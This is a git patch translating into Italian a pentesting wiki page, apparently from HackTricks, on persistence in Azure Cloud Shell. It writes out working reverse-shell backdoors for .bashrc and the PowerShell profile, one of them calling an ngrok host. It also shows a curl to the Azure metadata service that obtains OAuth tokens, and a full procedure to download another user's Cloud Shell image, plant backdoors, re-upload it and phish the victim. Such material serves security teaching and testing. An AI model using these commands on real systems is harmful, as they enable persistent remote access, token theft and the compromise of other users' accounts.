From 98287e1278781ce62056f53f375fb239ec1513b7 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Mon, 12 May 2025 19:25:34 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

---
 .../az-cloud-shell-persistence.md             | 43 +++++++++++++++++--
 1 file changed, 40 insertions(+), 3 deletions(-)

diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
index 2b228c8d8..604f838b2 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -7,16 +7,53 @@
 Azure Cloud Shell offre accesso da riga di comando per gestire le risorse Azure con storage persistente e autenticazione automatica. Gli attaccanti possono sfruttare questo posizionando backdoor nella directory home persistente:
 
 * **Storage Persistente**: La directory home di Azure Cloud Shell è montata su una condivisione file Azure e rimane intatta anche dopo la fine della sessione.
-* **Script di Avvio**: File come .bashrc vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando il cloud shell si avvia.
+* **Script di Avvio**: File come `.bashrc` o `config/PowerShell/Microsoft.PowerShell_profile.ps1` vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando si avvia il cloud shell.
 
 Esempio di backdoor in .bashrc:
 ```bash
-echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
 ```
-Questo backdoor può eseguire comandi anche 5 minuti dopo che la cloud shell è stata terminata dall'utente.
+Questo backdoor può eseguire comandi anche 5 minuti dopo che la shell cloud è stata chiusa dall'utente.
 
 Inoltre, interroga il servizio di metadati di Azure per dettagli sull'istanza e token:
 ```bash
 curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
 ```
+### Cloud Shell Phishing
+
+Se un attaccante trova le immagini di altri utenti in un Storage Account a cui ha accesso in scrittura e lettura, sarà in grado di scaricare l'immagine, **aggiungere un backdoor bash e PS in essa**, e caricarla di nuovo nel Storage Account in modo che la prossima volta che l'utente accede alla shell, i **comandi verranno eseguiti automaticamente**.
+
+- **Scarica, backdoor e carica l'immagine:**
+```bash
+# Download image
+mkdir /tmp/phishing_img
+az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
+
+# Mount the image
+mkdir /tmp/backdoor_img
+sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
+cd /tmp/backdoor_img
+
+# Create backdoor
+mkdir .config
+mkdir .config/PowerShell
+touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
+chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
+
+# Bash backdoor
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
+
+# PS backdoor
+echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
+
+# Unmount
+cd /tmp
+sudo umount /tmp/backdoor_img
+
+# Upload image
+az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
+```
+- **Quindi, phishingare l'utente per accedere a https://shell.azure.com/**
+
+
 {{#include ../../../banners/hacktricks-training.md}}